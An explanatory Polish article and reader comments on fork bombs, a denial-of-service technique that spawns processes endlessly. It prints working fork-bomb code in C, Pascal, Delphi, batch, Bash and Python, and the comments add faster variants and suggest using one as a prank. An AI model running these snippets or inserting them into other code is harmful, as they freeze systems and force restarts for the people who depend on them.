Z pogranicza

Fork-bomba

  • 2008-10-04 13:21
  • 7 komentarzy
  • 942 odsłony
  • Oceń ten tekst jako pierwszy
Artykuł napisany na podstawie artykułu z Wikipedii.

Fork-bomba jest formą ataku DoS. Polega na ciągłym uruchamianiu procesu potomnego bez warunku jego zakończenia. Efektem takiego działania jest kompletne sparaliżowanie systemu, ponieważ nie ma miejsca na żaden inny proces - nie da się więc tego nawet zamknąć. Efektem jest konieczność restartu systemu (czasami nawet następuje ono samo, na przykład w SBS-ie).

Fork-bomba może zostać napisana w wielu różnych językach. Oto kilka przykładów:

C
#include <unistd.h>
 
int main(void)
{
  while(1)
    fork();
  return 0;
}


Pascal
 repeat
  Exec (GetEnv ('COMSPEC'),'/C call '+ParamStr (0));
 until false;


Delphi
  repeat
   WinExec (PAnsiChar (ParamStr (0)),SW_SHOWNORMAL);
  until false;


Pliki wsadowe (BAT)
:a
 start %0
goto a


Bash
:(){ :|:& };:


Python
from subprocess import Popen
import sys
 
while True:
    Popen(sys.argv)

7 komentarzy

no_solution_found 2007-07-10 12:22

dobry pomysł na okrutny żart >:-)

Blackmaul 2007-04-25 12:00

Dzięki ci sołmacz. ;)

Dryobates 2007-04-23 22:47

from subprocess import Popen
import sys
 
while True:
    Popen(sys.argv)

Blackmaul 2007-04-22 15:24

Jak by to wyglądało w Pythonie? =p

Ktos 2007-04-21 13:33

Tworzenie funkcji bezparametrowej o nazwie : (:() {...}).
Kod wewnątrz funkcji rekursywnie wywołuje funkcję i przekierowuje wynik do innego wywołania siebie samej (:|:), a & wrzuca go do tła, żeby nie zabijać procesów rodziców. I to daje jeszcze wykładniczy wzrost ilości procesów :-)
; to zakończenie definicji funkcji, a ostatni : ustawia pułapkę uruchamiajac funkcję po raz pierwszy.

Notabene DOS 6.22 dzięki braku wielowątkowości jest odporny na ten atak, sprawdzałem, da się przerwać spokojnie ;)

Marooned 2007-04-21 11:49

Postęp geometryczny szybszy od liniowego ;-)

while(fork()) fork();
ewentualnie co by mieć pewność, że warunek zawsze będzie prawdziwy [nie pamiętam co zwraca fork()]
while((fork(),1)) fork();


A plik wsadowy w Twoim przykładzie wymaga Windows i programu start - a po co, jak jest polecenie wewnętrzne CALL?
:a
call %0
goto a


Ktos - może słowo wyjaśnienia dla nieobcykanych z bashem? :]

Ktos 2007-04-21 10:22

Ja osobiście wolę wersję bashową:

:(){ :|:& };:


Bo wygląda dziwnie :)